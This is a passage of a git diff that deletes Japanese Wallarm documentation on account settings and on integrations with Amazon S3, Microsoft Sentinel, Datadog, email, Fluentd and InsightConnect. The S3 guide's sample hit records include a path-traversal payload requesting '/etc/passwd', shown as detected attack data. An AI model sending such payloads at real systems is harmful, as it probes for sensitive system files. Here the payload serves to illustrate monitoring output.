log](../../images/user-guides/settings/audit-log.png) - -**Activity logのレコードをフィルタリングするには**、次のパラメータを使用できます： - -* 操作を実行したユーザー（大文字と小文字を区別） - - 操作がWallarmテクニカルサポートチームによって実行された場合、ユーザー名は`Technical support`です。この値はActivity logレコードの並べ替えには使用できません。 -* 操作の種類 -* 操作が実行されたオブジェクトの名前 -* 操作が実行された日付 \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/general.md b/docs/latest-ja/user-guides/settings/general.md deleted file mode 100644 index 19ae553cfe..0000000000 --- a/docs/latest-ja/user-guides/settings/general.md +++ /dev/null @@ -1,25 +0,0 @@ -[link-config-parameters]: ../../admin-en/configure-wallarm-mode.md - -[img-general-settings]: ../../images/configuration-guides/configure-wallarm-mode/en/general-settings-page-with-safe-blocking.png - -# 一般設定 - -**Settings**セクションの**General**タブでは、以下の操作が可能です: - -* Wallarmのフィルタリングモードの切り替え -* 自動ログアウトのタイムアウトの管理 - -![General tab](../../images/user-guides/settings/general-tab.png) - -## フィルタリングモード - -すべてのWallarmノードは、HTTPリクエストレベルで攻撃を検知してブロックできます。この[フィルタリングモード][link-config-parameters]は、ローカル設定またはグローバル設定によって定義されます: - -* **Local settings (default)**: このモードでは、フィルタノードの構成ファイルの設定が適用されます。 -* **Safe blocking**: [グレーリストのIP](../ip-lists/overview.md)から送信されたすべての不正リクエストはブロックされます。 -* **Monitoring**: すべてのリクエストが処理されますが、攻撃が検知されてもブロックは行われません。 -* **Blocking**: 攻撃が検知されたすべてのリクエストがブロックされます。 - -## ログアウトの管理 - -[管理者](users.md#user-roles)は会社アカウントのログアウトタイムアウトを設定できます。設定はすべてのアカウントユーザーに適用されます。アイドルタイムアウトと絶対タイムアウトを設定できます。 \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/amazon-s3.md b/docs/latest-ja/user-guides/settings/integrations/amazon-s3.md deleted file mode 100644 index 655354ed82..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/amazon-s3.md +++ /dev/null @@ -1,176 +0,0 @@ -# Amazon S3 - -[Amazon S3](https://aws.amazon.com/s3/?nc1=h_ls)は、Amazon Web Services(AWS)が提供するスケーラブルなクラウドストレージサービスで、正式名称はAmazon Simple Storage Serviceです。データバックアップ、データアーカイブ、コンテンツ配信、ウェブサイトホスティング、アプリケーションデータの保存など、さまざまな用途に利用されます。Wallarmを設定して、検出されたhitsに関する情報を含むファイルをAmazon S3バケットに送信できます。情報は10分ごとにJSON形式のファイルで送信されます。 - -各hitのデータ項目: - -* `time` - hit検出日時(Unixタイムスタンプ形式) -* `request_id` -* `ip` - 攻撃者のIP -* hitの発生元タイプ: `datacenter`、`tor`、`remote_country` -* `application_id` -* `domain` -* `method` -* `uri` -* `protocol` -* `status_code` -* `attack_type` -* `block_status` -* `payload` -* `point` -* `tags` - -ファイルは、命名規則`wallarm_hits_{timestamp}.json`または`wallarm_hits_{timestamp}.jsonl`に従ってS3バケットに保存されます。形式はJSON ArrayまたはNew Line Delimited JSON(NDJSON)のいずれかで、インテグレーション設定時の選択に依存します。 - -## インテグレーションの設定 - -Amazon S3とのインテグレーションを設定する際は、使用する認証方法を選択します: - -* **ロールARN経由(推奨)** - リソースへのアクセスを付与する際にexternal IDオプション付きのロールを使用する方法は、セキュリティを高め「confused deputy」攻撃を防ぐ方法としてAWSが[推奨](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-user_externalid.html?icmpid=docs_iam_console)しています。Wallarmは組織のアカウント専用の一意なIDを提供します。 -* **シークレットアクセスキー経由** - より一般的で簡単な方法で、AWS IAMユーザーの共有[アクセスキー](https://docs.aws.amazon.com/powershell/latest/userguide/pstools-appendix-sign-up.html)を必要とします。この方法を選ぶ場合、インテグレーションで使用するS3バケットへの書き込み権限のみを持つ専用のIAMユーザーのアクセスキーを使用することを推奨します。 - -Amazon S3インテグレーションを設定するには: - -1. [手順](https://docs.aws.amazon.com/AmazonS3/latest/userguide/GetStartedWithS3.html)に従って、Wallarm用のAmazon S3バケットを作成します。 -1. 選択した認証方法に応じて異なる手順を実行します。 - - === "ロールARN" - - 1. AWS UIで、S3 → 対象のバケット → **Properties**タブに移動し、バケットの**AWS Region**のコードと**Amazon Resource Name (ARN)**をコピーします。 - - 例えば、リージョンは`us-west-1`、ARNは`arn:aws:s3:::test-bucket-json`です。 - - 1. Wallarm Console UIで、**Integrations**セクションを開きます。 - 1. **AWS S3**ブロックをクリックするか、**Add integration**ボタンをクリックして**AWS S3**を選択します。 - 1. インテグレーション名を入力します。 - 1. 先ほどコピーしたS3バケットのAWSリージョンコードを入力します。 - 1. S3バケット名を入力します。 - 1. 表示されたWallarmアカウントIDをコピーします。 - 1. 表示されたexternal IDをコピーします。 - 1. AWS UIで、IAM → **Access Management** → **Roles**から[新しいロール](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-user.html)の作成を開始します。 - 1. 信頼されるエンティティタイプとして**AWS account** → **Another AWS Account**を選択します。 - 1. Wallarmの**Account ID**を貼り付けます。 - 1. **Require external ID**を選択し、Wallarmが提供するexternal IDを貼り付けます。 - 1. **Next**をクリックし、ロール用のポリシーを作成します: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "VisualEditor0", - "Effect": "Allow", - "Action": "s3:PutObject", - "Resource": "/*" - } - ] - } - ``` - 1. ロールの作成を完了し、そのARNをコピーします。 - 1. Wallarm Console UIのインテグレーション作成ダイアログの**Role ARN**タブで、ロールのARNを貼り付けます。 - - ![Amazon S3インテグレーション](../../../images/user-guides/settings/integrations/add-amazon-s3-integration.png) - - === "シークレットアクセスキー" - - 1. AWS UIで、S3 → 対象のバケット → **Properties**タブに移動し、バケットの**AWS Region**のコードをコピーします。例えば`us-west-1`です。 - 1. IAM → **Dashboard** → **Manage access keys** → **Access keys**セクションに進みます。 - 1. 保管しているアクセスキーIDを取得するか、[こちら](https://aws.amazon.com/ru/blogs/security/wheres-my-secret-access-key/)の説明に従って新規作成または紛失したキーの復元を行います。いずれの場合も、有効なキーとそのIDが必要です。 - 1. Wallarm Console UIで、**Integrations**セクションを開きます。 - 1. **AWS S3**ブロックをクリックするか、**Add integration**ボタンをクリックして**AWS S3**を選択します。 - 1. インテグレーション名を入力します。 - 1. 先ほどコピーしたS3バケットのAWSリージョンコードを入力します。 - 1. S3バケット名を入力します。 - 1. **Secret access key**タブで、アクセスキーIDとキー本体を入力します。 - -1. Wallarmデータの形式を選択します。JSON ArrayまたはNew Line Delimited JSON(NDJSON)のいずれかです。 -1. **Regular notifications**セクションで、直近10分のhitsを送信対象として選択していることを確認します。選択していない場合、データはS3バケットに送信されません。 -1. **Test integration**をクリックして、設定の正しさ、Wallarm Cloudの到達性、および通知フォーマットを確認します。 - - Amazon S3では、インテグレーションテストによりデータを含むJSONファイルがバケットに送信されます。以下は、直近10分に検出されたhitsのデータを含むJSONファイルの例です。 - - === "JSON配列" - ```json - [ - { - "time":"1687241470", - "request_id":"d2a900a6efac7a7c893a00903205071a", - "ip":"127.0.0.1", - "datacenter":"unknown", - "tor":"none", - "remote_country":null, - "application_id":[ - -1 - ], - "domain":"localhost", - "method":"GET", - "uri":"/etc/passwd", - "protocol":"none", - "status_code":499, - "attack_type":"ptrav", - "block_status":"monitored", - "payload":[ - "/etc/passwd" - ], - "point":[ - "uri" - ], - "tags":{ - "lom_id":7, - "libproton_version":"4.4.11", - "brute_counter":"c188cd2baa2cefb3f3688cb4008a649e", - "wallarm_mode":"monitoring", - "final_wallarm_mode":"monitoring" - } - }, - { - "time":"1687241475", - "request_id":"b457fccec9c66cdb07eab7228b34eca6", - "ip":"127.0.0.1", - "datacenter":"unknown", - "tor":"none", - "remote_country":null, - "application_id":[ - -1 - ], - "domain":"localhost", - "method":"GET", - "uri":"/etc/passwd", - "protocol":"none", - "status_code":499, - "attack_type":"ptrav", - "block_status":"monitored", - "payload":[ - "/etc/passwd" - ], - "point":[ - "uri" - ], - "tags":{ - "lom_id":7, - "libproton_version":"4.4.11", - "brute_counter":"c188cd2baa2cefb3f3688cb4008a649e", - "wallarm_mode":"monitoring", - "final_wallarm_mode":"monitoring" - } - } - ] - ``` - === "改行区切りJSON(NDJSON)" - ```json - {"time":"1687241470","request_id":"d2a900a6efac7a7c893a00903205071a","ip":"127.0.0.1","datacenter":"unknown","tor":"none","remote_country":null,"application_id":[-1],"domain":"localhost","method":"GET","uri":"/etc/passwd","protocol":"none","status_code":499,"attack_type":"ptrav","block_status":"monitored","payload":["/etc/passwd"],"point":["uri"],"tags":{"lom_id":7,"libproton_version":"4.4.11","brute_counter":"c188cd2baa2cefb3f3688cb4008a649e","wallarm_mode":"monitoring","final_wallarm_mode":"monitoring"}} - {"time":"1687241475","request_id":"b457fccec9c66cdb07eab7228b34eca6","ip":"127.0.0.1","datacenter":"unknown","tor":"none","remote_country":null,"application_id":[-1],"domain":"localhost","method":"GET","uri":"/etc/passwd","protocol":"none","status_code":499,"attack_type":"ptrav","block_status":"monitored","payload":["/etc/passwd"],"point":["uri"],"tags":{"lom_id":7,"libproton_version":"4.4.11","brute_counter":"c188cd2baa2cefb3f3688cb4008a649e","wallarm_mode":"monitoring","final_wallarm_mode":"monitoring"}} - ``` -1. **Add integration**をクリックします。 - ---8<-- "../include/cloud-ip-by-request.md" - -保存データ量を制御するため、[こちら](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html)に記載のとおり、Amazon S3バケット内の古いオブジェクトの自動削除を設定することを推奨します。 - -## インテグレーションの無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可およびインテグレーションパラメータの誤り - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/azure-sentinel.md b/docs/latest-ja/user-guides/settings/integrations/azure-sentinel.md deleted file mode 100644 index 5277e35ec1..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/azure-sentinel.md +++ /dev/null @@ -1,79 +0,0 @@ -# Microsoft Sentinel - -[Microsoft Azure Sentinel](https://azure.microsoft.com/en-au/products/microsoft-sentinel/)は、MicrosoftがAzureクラウドプラットフォームの一部として提供するソリューションで、組織がクラウドおよびオンプレミス環境全体にわたるセキュリティ脅威やインシデントを監視、検知、調査、対応するのに役立つソリューションです。WallarmをMicrosoft Sentinelにイベントを記録するように設定できます。 - -## インテグレーションの設定 - -Microsoft UIで: - -1. [WorkspaceでMicrosoft Sentinelを有効化する](https://learn.microsoft.com/en-us/azure/sentinel/quickstart-onboard#enable-microsoft-sentinel-)。 -1. Sentinel Workspace settings → **Agents** → **Log Analytics agent instructions**に進み、以下のデータをコピーします: - - * Workspace ID - * Primary key - -Wallarm Console UIで: - -1. **Integrations**セクションを開きます。 -1. **Microsoft Sentinel**ブロックをクリックするか、**Add integration**ボタンをクリックして**Microsoft Sentinel**を選択します。 -1. インテグレーション名を入力します。 -1. コピーしたWorkspace IDとPrimary keyを貼り付けます。 -1. 必要に応じて、Wallarmイベント用のAzure Sentinelのテーブルを指定します。存在しない場合は自動作成されます。 - - 名前を指定しない場合、イベントタイプごとに個別のテーブルが作成されます。 -1. 通知をトリガーするイベントタイプを選択します。 - - ![Sentinelインテグレーション](../../../images/user-guides/settings/integrations/add-sentinel-integration.png) - - 利用可能なイベントの詳細: - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. **Test integration**をクリックして、設定の正しさ、Wallarm Cloudの到達性、および通知の形式を確認します。 - - Microsoft Workspace → **Logs** → **Custom Logs**でWallarmのログを確認できます。例えば、Microsoft Sentinelのテスト`create_user_CL`ログは次のように表示されます: - - ![Sentinelのテストメッセージ](../../../images/user-guides/settings/integrations/test-sentinel-new-vuln.png) - - !!! info "新しいWorkspaceへのデータ送信の遅延" - Wallarmとのインテグレーション用にSentinel上でWorkspaceを作成してから、すべてのサービスが機能するまで最大1時間かかる場合があります。この遅延により、インテグレーションのテストや使用中にエラーが発生することがあります。インテグレーションの設定がすべて正しいにもかかわらずエラーが出続ける場合は、1時間後に再度お試しください。 - -1. **Add integration**をクリックします。 - ---8<-- "../include/cloud-ip-by-request.md" - -## Wallarmログの種類 - -全体として、WallarmはSentinelに以下の種類のレコードを記録できます。 - -| イベント | Sentinelのログタイプ | -| ----- | ----------------- | -| 新しい[hit](../../../glossary-en.md#hit) | `new_hits_CL` | -| 会社アカウント内の新しい[ユーザー](../../../user-guides/settings/users.md) | `create_user_CL` | -| 会社アカウントからのユーザーの削除 | `delete_user_CL` | -| ユーザーのロール更新 | `update_user_CL` | -| [インテグレーション](integrations-intro.md)の削除 | `delete_integration_CL` | -| インテグレーションの無効化 | `disable_integration_CL` または、設定の誤りにより無効化された場合は`integration_broken_CL` | -| 新しい[アプリケーション](../../../user-guides/settings/applications.md) | `create_application_CL` | -| アプリケーションの削除 | `delete_application_CL` | -| アプリケーション名の更新 | `update_application_CL` | -| 高リスクの新しい[脆弱性](../../../glossary-en.md#vulnerability) | `vuln_high_CL` | -| 中リスクの新しい脆弱性 | `vuln_medium_CL` | -| 低リスクの新しい脆弱性 | `vuln_low_CL` | -| 新しい[ルール](../../../user-guides/rules/rules.md) | `rule_create_CL` | -| ルールの削除 | `rule_delete_CL` | -| 既存のルールの変更 | `rule_update_CL` | -| 新しい[トリガー](../../../user-guides/triggers/triggers.md) | `trigger_create_CL` | -| トリガーの削除 | `trigger_delete_CL` | -| 既存のトリガーの変更 | `trigger_update_CL` | -| APIインベントリの変更（対応する[トリガー](../../triggers/triggers.md)がアクティブな場合） | `api_structure_changed_CL` | -| 攻撃数がしきい値を超える（対応する[トリガー](../../triggers/triggers.md)がアクティブな場合） | `attacks_exceeded_CL` | -| 新たに拒否リストに追加されたIP（対応する[トリガー](../../triggers/triggers.md)がアクティブな場合） | `ip_blocked_CL` | - -## インテグレーションの無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不能およびインテグレーションパラメータの誤り - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/datadog.md b/docs/latest-ja/user-guides/settings/integrations/datadog.md deleted file mode 100644 index a4bd5f12ac..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/datadog.md +++ /dev/null @@ -1,42 +0,0 @@ -# Datadog - -[Datadog](https://www.datadoghq.com/)は、最新のアプリケーションのパフォーマンス、可用性、セキュリティを包括的に可視化できる、広く利用されているクラウドベースの監視・分析プラットフォームです。Wallarm Consoleで[Datadog APIキー](https://docs.datadoghq.com/account_management/api-app-keys/)を使用したインテグレーションを作成すると、検出されたイベントの通知をDatadog Logsサービスに直接送信するようにWallarmを設定できます。 - -## インテグレーションの設定 - -1. Datadog UIを開き、→ **Organization Settings** → **API Keys**でWallarmとのインテグレーション用のAPIキーを生成します。 -1. Wallarm Consoleを開き、→ **Integrations**で**Datadog**インテグレーションの設定に進みます。 -1. インテグレーション名を入力します。 -1. DatadogのAPIキーを**API key**フィールドに貼り付けます。 -1. [Datadogリージョン](https://docs.datadoghq.com/getting_started/site/)を選択します。 -1. 通知をトリガーするイベントタイプを選択します。 - - ![Datadogインテグレーション](../../../images/user-guides/settings/integrations/add-datadog-integration.png) - - 利用可能なイベントの詳細: - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. **Test integration**をクリックして、構成が正しいこと、Wallarm Cloudの可用性、および通知の形式を確認します。 - - テスト用のDatadogログ: - - ![テスト用のDatadogログ](../../../images/user-guides/settings/integrations/test-datadog-vuln-detected.png) - - 他のレコードの中からWallarmのログを見つけるには、Datadog Logsサービスで`source:wallarm_cloud`検索タグを使用できます。 - -1. **Add integration**をクリックします。 - ---8<-- "../include/cloud-ip-by-request.md" - -## 追加アラートの設定 - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -## インテグレーションの無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可およびインテグレーションパラメータの誤り - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/email.md b/docs/latest-ja/user-guides/settings/integrations/email.md deleted file mode 100644 index e0fdbe5213..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/email.md +++ /dev/null @@ -1,49 +0,0 @@ -# Emailレポート - -スケジュールされた[PDFレポート](../../../user-guides/search-and-filters/custom-report.md)および即時通知の配信に使用する追加のメールアドレスを設定できます。プライマリのメールアドレスへの送信は既定で設定されています。 - -スケジュールされたPDFレポートは日次、週次、または月次で送信できます。PDFレポートには、選択した期間にシステムで検出された脆弱性、攻撃、インシデントに関する詳細情報が含まれます。通知には、トリガーされたイベントの簡潔な概要が含まれます。 - -## インテグレーションの設定 - -1. **Integrations**セクションを開きます。 -1. **Email report**ブロックをクリックするか、**Add integration**ボタンをクリックして**Email report**を選択します。 -1. インテグレーション名を入力します。 -1. カンマ区切りでメールアドレスを入力します。 -1. セキュリティレポートの送信頻度を選択します。頻度を選択しない場合、レポートは送信されません。 -1. 通知をトリガーするイベントタイプを選択します。 - - ![Email reportインテグレーション](../../../images/user-guides/settings/integrations/add-email-report-integration.png) - - 利用可能なイベントの詳細： - - --8<-- "../include/integrations/events-for-integrations-mail.md" - - !!! info "無効化できない通知" - Wallarmは、無効化できない一部の通知をユーザーのメールアドレスにも送信します： - - * [サブスクリプション](../../../about-wallarm/subscription-plans.md)の通知 - * [APIトークンの有効期限切れ](../../../user-guides/settings/api-tokens.md#token-expiration)の通知 - * [Hit sampling](../../../user-guides/events/grouping-sampling.md#sampling-of-hits)の通知 - -1. **Test integration**をクリックして、設定の正しさ、Wallarm Cloudの到達性、通知形式を確認します。 - - これにより、先頭に[Test message]が付いたテスト通知が送信されます： - - ![テストメールメッセージ](../../../images/user-guides/settings/integrations/test-email-scope-changed.png) - -1. **Add integration**をクリックします。 - -## 追加アラートの設定 - -* 時間間隔（1日、1時間など）あたりの[攻撃](../../../glossary-en.md#attack)、[ヒット](../../../glossary-en.md#hit)またはインシデントの件数が設定した数を超えた場合 -* [APIの変更](../../../api-discovery/track-changes.md)が発生した場合 -* 会社アカウントに新しいユーザーが追加された場合 - -## インテグレーションの無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可およびインテグレーションパラメータの誤り - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/fluentd.md b/docs/latest-ja/user-guides/settings/integrations/fluentd.md deleted file mode 100644 index 8e95bb48de..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/fluentd.md +++ /dev/null @@ -1,200 +0,0 @@ -# Fluentd - -[Fluentd](https://www.fluentd.org/)は、汎用で軽量なデータ集約および転送メカニズムとして機能するオープンソースのデータ収集ソフトウェアです。Wallarm Consoleで適切な連携を作成することで、検出イベントの通知をFluentdに送信するようにWallarmを設定できます。 - -## 通知の形式 - -Wallarmは**webhooks**を介してJSON形式の通知をFluentdに送信します。含まれるJSONオブジェクトは、Wallarmが通知するイベントによって異なります。 - -新しいヒット検出の通知例： - -```json -[ - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "www.example.com", - "heur_distance": 0.01111, - "method": "POST", - "parameter": "SOME_value", - "path": "/news/some_path", - "payloads": [ - "say ni" - ], - "point": [ - "post" - ], - "probability": 0.01, - "remote_country": "PL", - "remote_port": 0, - "remote_addr4": "8.8.8.8", - "remote_addr6": "", - "tor": "none", - "request_time": 1603834606, - "create_time": 1603834608, - "response_len": 14, - "response_status": 200, - "response_time": 5, - "stamps": [ - 1111 - ], - "regex": [], - "stamps_hash": -22222, - "regex_hash": -33333, - "type": "sqli", - "block_status": "monitored", - "id": [ - "hits_production_999_202010_v_1", - "c2dd33831a13be0d_AC9" - ], - "object_type": "hit", - "anomaly": 0 - } - } - } -] -``` - -## 要件 - -Fluentdの構成は次の要件を満たす必要があります。 - -* POSTまたはPUTリクエストを受け付けます -* HTTPSリクエストを受け付けます -* パブリックにアクセス可能なURLがあります - -Fluentd構成例： - -```bash linenums="1" - - @type http # HTTP/HTTPSトラフィック用のinputプラグイン - port 9880 # 受信リクエスト用のポート - # 接続処理の設定 - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type stdout # Fluentdのログをコマンドラインに出力する出力プラグイン - output_type json # コマンドラインに出力されるログの形式 - - -``` - -詳細は[公式Fluentdドキュメント](https://docs.datadoghq.com/integrations/fluentd)を参照してください。 - -## 連携の設定 - -1. Wallarm Console→**Integrations**→**Fluentd**でFluentd連携の設定に進みます。 -1. 連携名を入力します。 -1. 送信先FluentdのURL（Webhook URL）を指定します。 -1. 必要に応じて、詳細設定を構成します： - - --8<-- "../include/integrations/webhook-advanced-settings.md" -1. 通知をトリガーするイベント種別を選択します。 - - ![Fluentd連携](../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - - 利用可能なイベントの詳細： - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. **Test integration**をクリックして、構成が正しいこと、Wallarm Cloudの可用性、および通知の形式を確認します。 - - テスト用Fluentdログ： - - ```json - [ - { - summary:"[Test message] [Test partner(US)] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } - ] - ``` - -1. **Add integration**をクリックします。 - ---8<-- "../include/cloud-ip-by-request.md" - -## 追加アラートの設定 - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -## 中間データコレクターとしてFluentdを使用する - ---8<-- "../include/integrations/webhook-examples/overview.md" - -例： - -![Webhookのフロー](../../../images/user-guides/settings/integrations/webhook-examples/fluentd/qradar-scheme.png) - -この方式でWallarmのイベントを記録するには： - -1. データコレクターが受信webhookを読み取り、次のシステムにログを転送するように構成します。Wallarmはwebhookでデータコレクターにイベントを送信します。 -1. SIEMシステムがデータコレクターからログを取得して読み取れるように構成します。 -1. Wallarmがデータコレクターにログを送信するように構成します。 - - Wallarmはwebhook経由で任意のデータコレクターにログを送信できます。 - - WallarmをFluentdまたはLogstashと連携するには、Wallarm Console UIの対応するintegration cardsを使用できます。 - - その他のデータコレクターと連携するには、Wallarm Console UIの[webhook integration card](webhook.md)を使用できます。 - -SIEMシステムにログを転送する一般的なデータコレクターとの連携設定例をいくつか紹介します： - -* [Wallarm → Fluentd → IBM QRadar](webhook-examples/fluentd-qradar.md) -* [Wallarm → Fluentd → Splunk Enterprise](webhook-examples/fluentd-splunk.md) -* [Wallarm → Fluentd → Micro Focus ArcSight Logger](webhook-examples/fluentd-arcsight-logger.md) -* [Wallarm → Fluentd → Datadog](webhook-examples/fluentd-logstash-datadog.md) - - Wallarmは[Datadog API経由のDatadogとのネイティブ連携](datadog.md)にも対応しています。ネイティブ連携では中間データコレクターは不要です。 - -## 連携の無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可および連携パラメータの誤り - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/insightconnect.md b/docs/latest-ja/user-guides/settings/integrations/insightconnect.md deleted file mode 100644 index ef319431eb..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/insightconnect.md +++ /dev/null @@ -1,53 +0,0 @@ -# InsightConnect - -[InsightConnect](https://www.rapid7.com/products/insightconnect/)は、組織がサイバーセキュリティ運用を効率化・自動化し、セキュリティインシデントや脅威の検知・調査・対応を容易にするために設計されたセキュリティオーケストレーション、オートメーション、レスポンス（SOAR）プラットフォームです。WallarmからInsightConnectへ通知を送信するよう設定できます。 - -## インテグレーションの設定 - -まず、以下の手順でAPI keyを生成してコピーします。 - -1. InsightConnectのUI → **Settings** → [**API Keys**ページ](https://insight.rapid7.com/platform#/apiKeyManagement)を開き、**New User Key**をクリックします。 -2. API key名（例：`Wallarm API`）を入力し、**Generate**をクリックします。 -3. 生成されたAPI keyをコピーします。 -4. WallarmのUI → **Integrations**（[US](https://us1.my.wallarm.com/integrations/)または[EU](https://my.wallarm.com/integrations/)のクラウド）に移動し、**InsightConnect**をクリックします。 -4. 先ほどコピーしたAPI keyを**API key**フィールドに貼り付けます。 - -次に、以下の手順でAPI URLを生成してコピーします。 - -1. InsightConnectのUIに戻り、**Automation** → **Workflows**ページを開き、Wallarmの通知用に新しいワークフローを作成します。 -2. トリガーの選択を求められたら、**API Trigger**を選択します。 -3. 生成されたURLをコピーします。 -4. WallarmのUI → **InsightConnect**の設定に戻って、先ほどコピーしたAPI URLを**API URL**フィールドに貼り付けます。 - -最後に、WallarmのUIで設定を完了します: - -1. インテグレーション名を入力します。 -1. 通知をトリガーするイベントタイプを選択します。 - - ![InsightConnectインテグレーション](../../../images/user-guides/settings/integrations/add-insightconnect-integration.png) - - 利用可能なイベントの詳細: - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. 設定の正しさ、Wallarm Cloudの可用性、通知の形式を確認するには、**Test integration**をクリックします。 - - これにより、先頭に`[Test message]`という接頭辞が付いたテスト通知が送信されます: - - ![InsightConnectのテスト通知](../../../images/user-guides/settings/integrations/test-insightconnect-scope-changed.png) - -1. **Add integration**をクリックします。 - ---8<-- "../include/cloud-ip-by-request.md" - -## 追加のアラートの設定 - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -## インテグレーションの無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可と誤ったインテグレーションパラメータ - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/integrations-intro.md b/docs/latest-ja/user-guides/settings/integrations/integrations-intro.md deleted file mode 100644 index 1bc38ec89a..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/integrations-intro.md +++ /dev/null @@ -1,332 +0,0 @@ -# インテグレーションの概要 - -OWASP API Top 10の脅威、API悪用、および自動化された脅威に対する盾として、Wallarmは幅広いシステムとシームレスにインテグレーションし、リアルタイムにお知らせすることでセキュリティをさらに強化します。 - -Wallarmのインテグレーションにより、次のような重要なイベントについて常に把握できます： - -* [検出されたHits](../../../user-guides/events/check-attack.md)に関する即時アラートにより、脅威に直ちに対応できます。 -* システムイベント（登録済み[users](../../../user-guides/settings/users.md)、integrations、[applications](../../../user-guides/settings/applications.md)の変更）に関する更新により、常に管理できます。 -* セキュリティプロファイルの重要な変更（[rules](../../../user-guides/rules/rules.md)や[triggers](../../../user-guides/triggers/triggers.md)の変更など）に関する通知を受け取ります。 -* インフラ内の潜在的な[脆弱性](../../../about-wallarm/detecting-vulnerabilities.md)とそのリスクレベルに関するタイムリーな警告により、最も危険な弱点にプロアクティブに対処できます。 - -この機能はWallarm Consoleの**Integrations**セクションで管理し、インテグレーション向けの追加アラートは**Triggers**セクションで設定します。 - -![Integrations](../../../images/user-guides/settings/integrations/integration-panel.png) - -Wallarmは既存の多数のツールやプラットフォームと容易に連携します。1つのシステムに対するインテグレーションの数に制限はありません。 - - - -## メールとメッセンジャー - -
        -
        - - -

        Email

        -

        登録時に指定したメールアドレスおよび追加のメールアドレスに通知を受け取ります

        -         - - -

        Slack

        -

        選択したSlackチャンネルに通知を送信します

        -         - - -

        Telegram

        -

        TelegramにWallarmボットを追加し、そこへ通知を送信します

        -         - - -

        Microsoft Teams

        -

        選択したMicrosoft Teamsチャネルに通知を送信します

        -         -
        -
        - -## インシデントおよびタスク管理システム - -
        -
        - - -

        Opsgenie

        -

        Opsgenie API経由で連携します

        -         - - -

        PagerDuty

        -

        インシデントをPagerDutyに送信します

        -         - - -

        Jira

        -

        WallarmがJiraに課題を作成するように設定します

        -         - - -

        ServiceNow

        -

        WallarmがServiceNowにトラブルチケットを作成するように設定します

        -         -
        -
        - -## SIEMおよびSOARシステム - -
        -
        - - -

        Sumo Logic

        -

        Sumo Logicにメッセージを送信します

        -         - - -

        Splunk

        -

        Splunkにアラートを送信します

        -         - - -

        InsightConnect

        -

        InsightConnectに通知を送信します

        -         - - -

        Microsoft Sentinel

        -

        Microsoft Azure Sentinelにイベントを記録します

        -         -
        -
        - -## ログ管理システム - -
        -
        -
        - -

        Datadog

        -

        イベントをDatadog Logsサービスへ直接、または中間のデータコレクター経由で送信します

        -
        -
        -
        -
        - -

        Datadog

        -

        イベントをDatadog Logsサービスへ直接、または中間のデータコレクター経由で送信します

        -
        - -

        ネイティブインテグレーション

        -

        ログをDatadogに直接送信します

        -         - -

        Wallarm → Fluentd → Datadog

        -

        Fluentd経由でDatadogにログを送信します

        -         - -

        Wallarm → Logstash → Datadog

        -

        Logstash経由でDatadogにログを送信します

        -         -
        -
        - -## データコレクター - -
        -
        -
        - -

        Fluentd

        -

        検出イベントの通知をFluentdに送信したり、他システムとの連携のための中間システムとしてFluentdを使用します

        -
        -
        - -

        Logstash

        -

        検出イベントの通知をLogstashに送信したり、他システムとの連携のための中間システムとしてLogstashを使用します

        -
        - - -

        AWS S3

        -

        検出されたHitsに関する情報を含むファイルをお客様のAmazon S3バケットに送信するようにWallarmを設定します

        -         -
        -
        -
        - -

        Fluentd

        -

        検出イベントの通知をFluentdに送信したり、他システムとの連携のための中間システムとしてFluentdを使用します

        -
        - -

        ネイティブインテグレーション

        -

        検出イベントの通知をFluentdそのものに送信します

        -         -
        -
